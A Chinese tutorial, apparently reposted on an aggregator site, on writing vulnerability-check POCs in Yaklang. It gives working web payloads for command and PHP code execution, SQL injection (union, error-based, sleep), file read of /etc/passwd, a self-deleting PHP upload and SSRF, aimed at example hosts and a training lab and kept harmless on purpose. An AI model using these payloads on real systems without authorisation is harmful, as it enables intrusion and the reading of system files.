来了,秋天的第一个POC

news2024/9/21 8:01:40

立秋就这么水灵灵地过了

又到了“秋天的第一杯奶茶”刷屏的时刻

而我们要追求的是“秋天的第一个POC”

做好变强的准备了吗

Yak POC编写,这一篇就够了

文章中指代的POC仅指使用 Yaklang 编程语言编写的POC

在此篇文章中就详细描述 Yaklang 语法的学习了,可以移步至YAK官网 进行学习。

Yaklang 的语法总的来说参考了其他许多语言,你可以看到许多语言中的影子,例如 Golang(主要),Python,JS等。这使得学习 Yaklang 的成本对于学习过相关语言(尤其是 Yaklang)的用户来说是非常低的,通常这类用户可以在 10 分钟内快速上手 Yaklang 。

在 Yakit 中,我们最常用发送 HTTP 数据包的工具非 web fuzzer 莫属了,实际上,web fuzzer的发包能力底层也是通过 Yaklang 中的 poc 库来实现的,因此,我们可以使用 Yaklang 中的 poc 库来实现大部分发送 HTTP 数据包的功能。

在旧版的 Yaklang 中,有许多库都能够完成发包工作,例如 fuzz,httppool,http等,实际上对于编写 POC 来说,我们只需要重点关注 poc 库即可

发送请求

发送 URL 请求

对于如何请求一个指定的URL, poc 库提供了以下几个简单的函数:

poc.Do(method, url, ...)poc.Get(url, ...)poc.Post(url, ...)poc.Delete(url, ...)poc.Options(url, ...)

常见的发送 GET/POST/DELETE/OPTIONS 请求,我们只需要使用对应函数,第一个参数填入 URL 即可,对于要发送一些不常见请求方法的请求,我们可以使用 DO 来完成,一些简单的例子如下:

poc.Do("GET", "https://example.com")// 也可以使用poc.Get("https://example.com")// 发送POST请求poc.Post("https://exapmle.com")

通过一行代码,我们就可以快速地向目标 URL 发送请求。

发送原始报文请求

有些情况下,我们可能更希望能直接发送一个原始的请求报文,对此, poc 库也提供了一个好用的函数:

poc.HTTPEx(raw, ...)

我们使用poc.HTTPEx,第一个参数填入原始报文,即可将报文发送至对应目标服务器(如果没有额外指定,则是Host 请求头对应的目标服务器)。

发送批量请求

对于某些 POC 可能涉及到发送多个请求以及并发的问题,一个简单的控制并发例子如下:

// 最多10并发swg = sync.NewSizedWaitGroup(10)// 发送一共100个请求for i in 100 {    swg.Add(1)    go func {        defer swg.Done()        rsp, req = poc.Get(f"https://example.com?times=${i}")~        println(rsp.GetStatusCode())    }}​swg.Wait()

对于一些需要使用 fuzztag 的需求,我们就要用到 fuzz 这个标准库或者x前缀字符串了,先生成请求,再发送:

// 最多10并发swg = sync.NewSizedWaitGroup(10)// 先生成100个请求reqRaws = x`GET /?i={{int(1-100)}} HTTP/1.1Host: www.example.com`// 再发送一共100个请求for raw in reqRaws {    swg.Add(1)    go func {        defer swg.Done()        rsp, req = poc.HTTPEx(raw)~        println(rsp.GetStatusCode())    }}swg.Wait()

选项函数

在 Yaklang 中,一个约定俗成的规定是:以小写开头的库函数是选项函数。在 poc 库中,也有许多这样的选项函数,可以帮助我们对这次请求进行自定义的配置,一些常用的选项函数如下:

poc.host(host)               // 指定目标服务器,如果未指定则使用 Host 请求头对应的目标服务器poc.port(port)               // 指定目标服务器端口,如果未指定则使用 Host 请求头对应的目标服务器端口poc.timeout(floatSecond)     // 指定超时时间,单位为妙poc.https(bool)              // 指定是否为 HTTPS 请求poc.http2(bool)              // 指定是否为 HTTP2 请求poc.session(sessionName)     // 指定 session 名,当设置后会使用指定 session 进行请求,用同一个session发起的请求会自动管理Cookiepoc.redirectTimes(times)     // 指定跟踪重定向的次数poc.noRedirect(bool)         // 指定为 true 时禁止重定向,相当于poc.redirectTimes(0)poc.redirectHandler(f)       // 使用自定义函数来控制重定向逻辑poc.proxy(proxies)           // 指定请求使用的代理poc.dnsServer(server)        // 指定请求使用的DNS服务器poc.username(username)       // 指定请求认证的用户名,支持 BASIC/DIGEST/NTLM 认证poc.password(password)       // 指定请求认证的密码poc.noFixContentLength(bool) // 指定为 true 时发送请求时不会对请求包进行修复(Content-Length,CRLF)等

另外,还有一些选项函数在发送请求前对发送的请求进行补丁,如添加请求头,添加请求参数等,一些常用的选项函数如下:

poc.replaceQueryParam(key, value)       // 替换 GET 请求参数对应的值,如果不存在则增加poc.replacePostParam(key, value)        // 替换 POST 请求参数对应的值,如果不存在则增加poc.replaceHeader(key, value)           // 替换请求头对应的值,如果不存在则增加poc.replaceUserAgent(ua)                // 替换请求的 User-Agent 请求头 poc.replaceHost(host)                   // 替换请求的 Host 请求头poc.replaceBody(body)                   // 替换请求体poc.appendQueryParam(key, value)       // 添加 GET 请求参数对应的值poc.appendPostParam(key, value)        // 添加 POST 请求参数对应的值poc.appendHeader(key, value)           // 添加请求头对应的值poc.deleteQueryParam(key)              // 删除 GET 请求参数对应的值poc.deletePostParam(key)               // 删除 POST 请求参数对应的值poc.deleteHeader(key)                  // 删除请求头对应的值

案例

rsp, req = poc.HTTPEx(    `POST /post HTTP/1.1Content-Type: application/jsonHost: pie.dev​`,     poc.https(true),     poc.timeout(15),     poc.proxy("http://127.0.0.1:1080"),     poc.appendHeader("AAA", "BBB"),    poc.appendQueryParam("a", "b"),    poc.appendPostParam("c", "d"),)~

接收与处理响应接下来重要的一步就来了,发送请求之后我们如何拿到响应中想要的信息?上文中我们提到的发送请求的函数,其返回值都是一样的,以poc.HTTPEx为例,其函数签名为:

func HTTPEx(i any, opts ...PocConfigOption) (rsp *lowhttp.LowhttpResponse, req *http.Request, err error)

在三个返回值中,我们重点关注第一个返回值,我们想要的响应信息都存储在这里。我们可以简单地使用一行desc(rsp)代码,或者通过在 Yakit 的 Yak Runner 中鼠标悬浮提示来了解这个响应结构体及其成员的信息。我们常用到的响应信息如下:

rsp.RawPacket                // 原始响应报文rsp.GetBody()                // 原始响应体rsp.GetStatusCode()          // 响应状态码rsp.GetDurationFloat()       // 服务器响应时间,即服务器建立连接后到发送第一个响应字节所花的时间,通常在无回显判断漏洞检测中使用rsp.rsp.TraceInfo.ServerTime // 与rsp.GetDurationFloat() 一样

实际上,拿到了原始响应报文之后,我们也可以使用 poc 库中的一些辅助函数来拿到响应报文中的各种数据:

poc.GetHTTPPacketFirstLine(rsp.RawPacket)          // 获取响应的协议版本,状态码,状态码描述poc.GetHTTPPacketHeader(rsp.RawPacket,key)         // 获取响应的某个请求头的值poc.GetHTTPPacketHeaders(rsp.RawPacket)            // 获取响应的所有请求头的值poc.GetHTTPPacketBody(rsp.RawPacket)               // 获取响应体

案例

rsp, req = poc.HTTPEx(    `POST /post HTTP/1.1Content-Type: application/jsonHost: pie.dev​`,     poc.https(true),     poc.timeout(15),     poc.proxy("http://127.0.0.1:1080"),     poc.appendHeader("AAA", "BBB"),    poc.appendQueryParam("a", "b"),    poc.appendPostParam("c", "d"),)~body = rsp.GetBody()code = rsp.GetStatusCode()t = rsp.GetDurationFloat()

第三步也是最关键的一步,在编写一个 POC 之前,我们需要了解其定位,或者说这个漏洞是属于什么类型的,这样我们才能更好地去思考漏洞检测逻辑,编写 POC。以下列出一些常见漏洞的 POC 编写模版。代码执行/命令执行

此类漏洞能够实现的功能很多,因此我们漏洞的检测逻辑不应该简单地执行echo,同时我们要考虑到目标操作系统的问题(Windows/Linux等)。

那么我们如何优雅而又有效地检测代码执行或者命令执行呢?这里提供的思路是:计算,即我们通过脚本语言或者系统 Shell 中存在的函数/特性/命令来去执行计算,并根据计算结果来确认漏洞是否存在案例:命令执行 - Linux

// 计算与判断两个整数的和i,j = randn(1000, 2000), randn(100, 999)sum = i + jcmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~if string(sum) in rsp.RawPacket {    dump("存在漏洞")}

案例:命令执行 - Windows

// 计算与判断两个整数的和i,j = randn(1000, 2000), randn(100, 999)sum = i + jcmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com`)~if string(sum) in rsp.RawPacket {    dump("存在漏洞")}

案例:命令执行 - 不知道目标操作系统这里的思路是多发几个请求,满足一个就行

// 计算与判断两个整数的和func checkPacket(command, want) {    cmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)    rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~    return string(want) in rsp.RawPacket}​i,j = randn(1000, 2000), randn(100, 999)sum = i + jlinuxCmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")windowsCmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)if checkPacket(linuxCmd, sum) || checkPacket(windowsCmd, sum) {    dump("存在漏洞")}

案例:代码执行 - PHP

// 计算与判断一个随机字符串的MD5s = randstr(16)cmd = codec.EscapeQueryUrl(f`echo md5("${s}");`)rsp, req = poc.HTTPEx(f`GET /rce?code=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~if codec.Md5(s) in rsp.RawPacket {    dump("存在漏洞")}

在其他操作系统与脚本语言中一样能找到类似的函数来进行计算,通过这种方法来判断此类漏洞,就可以减少误报的发生。

文件读取此类漏洞我们主要思考的是读取文件的路径,一般寻找固定位置和固定特征以及默认存在的文件,同时要考虑目标操作系统的问题(Windows/Linux等)。案例:Linux以/etc/passwd为例:

fp = "/etc/passwd"rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {    dump("存在漏洞")}

案例:Windows以C:\Windows\win.ini为例:

fp = "C:\\Windows\\win.ini"rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "16-bit app support" in body {    dump("存在漏洞")}

SQL注入此类漏洞我们首先需要知道的是有没有回显,根据回显的有无,我们可以通过不同的方式进行判断。案例:有回显 - 联合注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入s = randstr(16)username = codec.EscapeQueryUrl(f`xxxxx' union all select 1,md5('${s}'); -- `)rsp, req = poc.HTTPEx(f`GET /union_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if len(body) > 0 && codec.Md5(s) in body {    dump("存在漏洞")}

案例:有回显 - 报错注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入s = randstr(16)username = codec.EscapeQueryUrl(f`1' and updatexml(1,concat(0x7e,md5('${s}'),0x7e,1,0x7e,2),1)-- `)rsp, req = poc.HTTPEx(f`GET /error_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if len(body) > 0 && codec.Md5(s) in body {    dump("存在漏洞")}

案例:无回显 - 延迟注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入// 假设已知一个存在的用户名kobeusername = codec.EscapeQueryUrl(f`kobe' and sleep(3)-- `)rsp, req = poc.HTTPEx(f`GET /no_output_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetDurationFloat() > 3 {    dump("存在漏洞")}

文件上传对于此类漏洞,需要思考的是如何在没有危害的情况下验证漏洞的存在,因此一般在可能的情况下会考虑计算输出+自我删除的形式。案例:PHP

// 这里以 pikachu 靶场的文件上传为例s = randstr(16)// 上传rsp, req = poc.HTTPEx(f`POST /vul/unsafeupload/clientcheck.php HTTP/1.1Host: 127.0.0.1:8765Accept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateReferer: http://172.27.214.38:8765/vul/unsafeupload/clientcheck.phpContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Length: 38747​------WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Disposition: form-data; name="uploadfile"; filename="abc.php"Content-Type: image/png​<?phpecho md5("${s}");unlink(__FILE__);?>------WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Disposition: form-data; name="submit"​开始上传------WebKitFormBoundaryzO5eB8A7KMQZG4Ml--`)~// 这里可以根据上传请求的响应来拿到文件上传的路径body = rsp.GetBody()uploadFilePath = ""if "文件保存的路径为:" in body {    uploadFilePath = body.Split("文件保存的路径为:")[1].Split("</p>")[0].Trim()}​// 漏洞不存在if uploadFilePath == "" {    return }​// 访问上传的文件rsp, req = poc.HTTPEx(f`GET /vul/unsafeupload/${uploadFilePath} HTTP/1.1Host: 127.0.0.1:8765`)~​body = rsp.GetBody()if codec.Md5(s) in body {    dump("存在漏洞")}

服务端请求伪造(SSRF)此类漏洞首先需要知道的也是有没有回显,根据回显的有无,我们可以通过不同的方式进行判断。案例:有回显 通过curl请求 linux此案例思路与前文中文件读取差不多,只是访问路径为file:///etc/passwd

// 这里以 pikachu 靶场的SSRF为例url = codec.EscapeQueryUrl(f`file:///etc/passwd`)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1Host: 127.0.0.1:8765​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {    dump("存在漏洞")}

案例:有回显 php 通过file_get_contents请求 linux在此案例中,我们可以考虑使用php的伪协议,使用data协议来安全地读取一段随机字符串,再判断响应中是否存在该字符串

// 这里以 pikachu 靶场的SSRF为例s = randstr(16)url = codec.EscapeQueryUrl(f`data://text/plain;base64,`) + codec.EncodeBase64(s)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_fgc.php?file=${url} HTTP/1.1Host: 172.27.214.38:8765​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && s in body {    dump("存在漏洞")}

案例:无回显 通过curl请求 出网 linux

// 这里以 pikachu 靶场的SSRF为例domain, token = risk.NewDNSLogDomain()~url = codec.EscapeQueryUrl(f`http://${domain}`)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1Host: 127.0.0.1:8765`)~events = risk.CheckDNSLogByToken(token, 5)~if len(events) > 0 {    dump("存在漏洞")}

可能会有师傅发现,有的漏洞我并没有给模板,例如反序列化,XSS等漏洞,但是实际上上面的模板已经囊括了许多漏洞危害下的 POC 了。

举个例子,反序列化漏洞可能利用过程比较复杂,但是实际上造成的危害通常都是上述一些漏洞造成的危害,如命令执行,文件读取,服务端请求伪造等,也可以通过上面的依据来无害化判断漏洞是否存在。

对上述的模板进行总结:

  • 对于有回显的漏洞,我们普遍采用计算的方式来验证漏洞,不论是 哈希计算(如md5)还是算数计算(如加法)也好,检测计算后的结果是否存在于响应中,比直接检测某个输入直接在响应中要靠谱得多

  • 对于无回显的漏洞,我们可以采用延时或者外带的方式来验证漏洞
  • 延时:代码执行/数据库中的睡眠函数,命令执行中的睡眠命令
  • 外带:通常指 DNSLog或HTTPLog

END

YAK官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2044376.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【昱合昇天窗】消防排烟天窗设计使用需注意问题

消防排烟天窗在设计和使用过程中&#xff0c;需要避免出现以下三个问题&#xff0c;以免影响其排烟效果和安全性。1、只关注价格 很多人在选择消防排烟天窗时&#xff0c;只关心天窗的价格&#xff0c;不重视天窗型号、配置选择是否满足厂房需求。这样做的坏处在于安装的天窗可…

还在画恐怖片?局部重绘,艺术再创造 —— Stable diffusion inPainting功能详解与实战指南

前言 在AI绘画的世界里&#xff0c;我们常常面临这样的困境&#xff1a;一幅作品&#xff0c;除了手部姿势、面部表情其他都很完美&#xff1b;这时候&#xff0c;如果要重新生成整幅画&#xff0c;不仅效率低下&#xff0c;而且可能会破坏原本满意的部分。幸好&#xff0c;St…

JAVA毕业设计|(免费)ssm视康眼镜网店销售系统的包含文档代码讲解

收藏点赞不迷路 关注作者有好处 编号&#xff1a;ssm538 ssm视康眼镜网店销售系统的 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringSpringMVCMyBatisVue 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 文末获取源码 1.系统展示 2.万字文档展示 …

为什么MySql使用B+树

mysql索引为什么选择B树&#xff1f; 在回答这个问题之前&#xff0c;得先了解一个概念&#xff0c;页的概念。页是InnoDB中数据管理的最小单位。当我们查询数据时&#xff0c;其是以页为单位&#xff0c;将磁盘中的数据加载到缓冲池中的。同理&#xff0c;更新数据也是以页为…

数据库实验一 创建数据库

一&#xff0e;实验目的 1.学会数据表的创建&#xff1b; 2.加深对表间关系的理解&#xff1b; 3.理解数据库中数据的简单查询方法和应用。 二. 实验内容 1.题目要求 给定一个实际问题&#xff0c;实际应用问题的模式设计中至少要包括3个基本表。应用问题是供应商给工程供…

被嫌弃的35岁程序员,竟找到了职业的新出路:PMP项目管理

35岁&#xff0c;本应是事业发展的高峰期。更多听到的却是35岁职场天花板&#xff0c;特别是IT从业者&#xff0c;35岁就好像是一道迈不过的坎&#xff1a;多年的工作经验&#xff0c;在35岁的生理年龄面前&#xff0c;一文不值。 IT从业者若想安然度过“35岁危机”&#xff0…

【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出

【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出 文章目录 【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出1.简介2.验证用例3.软件代码4.链接脚本5.编译脚本6.仿真结果6.1 复位结束6.2 运行成功6.3 终端打印 7.总结 1.简介 本文将详细阐述如何利用 printf 来打印字符串…

做自媒体博主如何使用外网视频素材!

想成为视频博主却不知道外网视频怎么下载&#xff1f;看这里&#xff01; 在这个信息爆炸的时代&#xff0c;做一名视频博主无疑是展现自我、分享创意的绝佳方式。但当我们想要获取更多灵感&#xff0c;从外网的精彩视频中学习时&#xff0c;却常常被下载的问题难住。 其实&…

【启明智显技术分享】工业级HMI芯片Model3A开发过程中问题记录笔记

一、Model3A芯片介绍 Model3A是启明智显针对工业、行业以及车载产品市场推出的一款高性能、低成本的工业级HMI&#xff08;Human-Machine Interface&#xff0c;人机界面&#xff09;芯片。该芯片主要应用于工业自动化、智能终端HMI、车载仪表盘、两轮车彩屏仪表、串口屏、智能…

无人机航拍与ArcGIS融合实战:从地表观测到空间数据可视化的全方位指南!无人机图像拼接数据处理与分析、可视化与制图

目录 第一章 无人机航拍基本流程、航线规划与飞行实践 第二章 无人机图像拼接软件的学习与操作实践 第三章 无人机图像拼接典型案例详解 第四章 无人机图像拼接数据在GIS中的处理与分析 第五章 无人机图像拼接数据在GIS中的可视化与制图 第六章 综合案例:无人机航拍植被动…

Docker 部署 XXL-JOB

Docker 部署 XXL-JOB 目录 引言环境准备创建 MySQL 用户并授予权限使用 Docker 部署 XXL-JOB配置 XXL-JOB验证部署总结 1. 引言 XXL-JOB 是一个开源的分布式任务调度平台&#xff0c;旨在简化定时任务的管理和调度操作。其强大的功能和灵活性&#xff0c;使其在互联网公司和…

SSH 隧道方式连接 MySQL 服务器

SSH 隧道方式连接 MySQL 服务器 1 安装 MySQL 客户端工具1.1 Navicat1.2 MySQL Workbench1.2.1 查看本机系统类型1.2.2 安装 Visual C 20191.2.3 安装 MySQL Workbench 2 SSH 隧道方式连接数据库2.1 Navicat2.1.1 SSH 连服务器2.1.2 本地连数据库 2.2 MySQL Workbench 本文介绍…

云动态摘要 2024-08-12

给您带来云厂商的最新动态&#xff0c;最新产品资讯和最新优惠更新。 全球加速 GA - 新增“巴西&#xff08;圣保罗&#xff09;”、“沙特&#xff08;利雅得&#xff09;”接入点 华为云 2024-08-12 全球加速服务新增开通“巴西&#xff08;圣保罗&#xff09;”、“沙特&a…

BI奇点来临,AIChat打通数据消费“最后一公里”

“把数据用起来和用好”&#xff0c;这是企业数智化转型升级中的一大核心命题。但现实情况中&#xff0c;大部分企业在业务应用和数据消费中始终难以做到得心应手。 直到大模型的崛起&#xff0c;生成式AI技术展现出强大能力&#xff0c;为彻底打通数据消费“最后一公里”带来…

NUC 14 Pro+:灵感加速器,创意无界之旅

喜欢创作的友友们皆懂&#xff0c;灵感如流星&#xff0c;可遇不可求&#xff0c;当它闪烁在你的脑海中&#xff0c;需要即刻行动&#xff0c;将其化为现实。而NUC 14 Pro就将在这时&#xff0c;给予你独特的支持。 灵感火花&#xff0c;瞬间点燃 触摸NUC 14 Pro的轻薄机身&am…

新手常见错误:java.lang.NumberFormatException: For input string: “xxxx“

目录 ​编辑 故事背景 文言一心解答&#xff1a; 思考&#xff1a; 文心一言总结&#xff1a; 报错总结&#xff1a; 解决方案&#xff1a; 结语&#xff1a; 故事背景 写代码的时候遇到的报错 文言一心解答&#xff1a; 这个错误 java.lang.NumberFormatException:…

【后端记录】修复MySql的错误修改的数据记录【binlog修复】

前言 今天入门后端的时候&#xff0c;不小心改了非预期的数据&#xff0c;因为还没学到事务&#xff0c;所以恢复数据还比较麻烦&#xff0c;站在巨人的肩膀上还是解决了&#xff0c;原文连接在下面 https://blog.csdn.net/qq_42874315/article/details/140480570 解决办法 原…

Python光电光对光神经网络非相干光图像低维映射模拟

&#x1f3af;要点 &#x1f3af;光学神经网络非相干光图像处理 | &#x1f3af;光电光对光处理多层光学神经网络 | &#x1f3af;光图像传感器构建两层神经网络 | &#x1f3af;非相干光输入图像映射到低维空间 | &#x1f3af;多层非线性对比浅层线性光神经网络 | &#x1f…

国标POE电源芯片52V转12V 1.5A用AH7691D

​在深入探讨国标POE&#xff08;Power Over Ethernet&#xff09;电源芯片AH7691D如何将52V直流电压高效转换为12V 1.5A的稳定输出时&#xff0c;不得不提及其卓越的能效比与可靠性设计。AH7691D作为一款专为POE供电系统设计的降压转换芯片&#xff0c;不仅拥有高精度的电压调…

数据结构入门——03链表

1. 链表的结构 链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表 中的指针链接次序实现的。 结点的data域存放数据元素ai&#xff0c;而next域是一个指针&#xff0c;指向ai的直接后继ai1所在的结点。 1.1链表的分类 实际中要实…